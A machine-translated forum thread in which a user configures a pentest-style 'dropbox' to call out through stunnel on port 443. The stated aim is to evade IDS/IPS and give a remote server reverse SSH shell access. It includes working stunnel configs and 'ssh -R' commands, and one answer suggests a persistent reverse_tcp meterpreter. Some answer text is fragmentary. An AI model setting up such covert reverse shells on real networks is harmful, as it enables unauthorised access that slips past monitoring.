Natまたは任意のファイアウォールの背後に展開できるセキュリティ「ドロップボックス」を作成し、制御された公的にアクセス可能なサーバーに呼び出して、サーバーから制御を開始します。
これはssh-Rコマンドで簡単に実行できることはわかっていますが、適切なSSL/TLSとポート443を介してIDS/IPSを効果的に回避するものを探しています。
現在、機能しているセットアップ(SSLのみ)では、ドロップボックス(これをクライアントと呼びます)がサーバーとのstunnel接続を呼び出して開始します。その後、クライアントからサーバーに手動でsshを実行できます。
これは問題ありませんが、確立されたstunnelを介してサーバーからクライアントにSSH接続できる必要があります。
質問:
以下は私のstunnel設定です:
サーバ:
cert=/path/to/cert.pem
pid=/tmp/stunnel.pid
[ssh]
accept = 443
connect = 127.0.0.1:22
クライアント:
cert=/path/to/cert.pem
pid=/tmp/stunnel.pid
client=yes
[ssh]
accept=2200
connect=<serverpubip>:443
Stunnel接続を介してクライアントからサーバーへのリバースを試行するSSHコマンドの例:
ssh -i /path/to/cert -R 2200:localhost:2200 -p 2200 admin@localhost -f -N
要件は、クライアントのみがサーバーを呼び出して初期接続(stunnel)を開始でき、トラフィックは整形式のSSL/TLS暗号化を介している必要があることです。また、サーバーからクライアントへのシェルアクセスを取得する必要があります。前もって感謝します!
更新:
それは結局悪いsshコマンドでした。私のために働いたsshコマンドは次のとおりです。
ssh -i /path/to/cert -R 2201:localhost:22 -p 2200 admin@localhost -f -N
必要なのは、sshコマンドで-R 2200:localhost:2200
を-R 2200:localhost:22
に変更することだけだと思います。
現状では、サーバーのポート2200をクライアントのポート2200に接続し直しています。はい、client:2200がサーバーにトンネリングされるため、転送ループが作成されます。
クライアントのsshがポート22で実行されているとすると、-R 2200:localhost:22
はサーバーのポート2200をクライアントのsshに接続します。
これをもう少し明確にするために、サーバーからトンネルを逆にするために別のポート番号を選択することをお勧めします:たとえば、-R 2201:localhost:22
。そうすれば、両方のホストでポート2200を使用しなくなり、2つのポートが混乱するのを防ぐことができます。
実際のツールでの目標は達成できません。
stunnel
は、この逆接続機能を実行できません。ssh
はデーモンとして機能せず、httpsとはプロトコルが少し異なります。十分なスマートIDS-esがそれを検出できるようになります。あなたがしなければならなかったこと:
したがって、実際のデータ接続は希望するほど単純ではありませんが、希望するものに到達することはできます。これらのテクノロジーをすべて使用すると、インテリジェントなネットワークセキュリティチェックにも対抗できる可能性があります。
「dropbox」に永続的なreverse_tcp(s)meterpreterをインストールしてみませんか?これがhttp(s)を介してリバースシェルを取得する最も簡単な方法だと思います。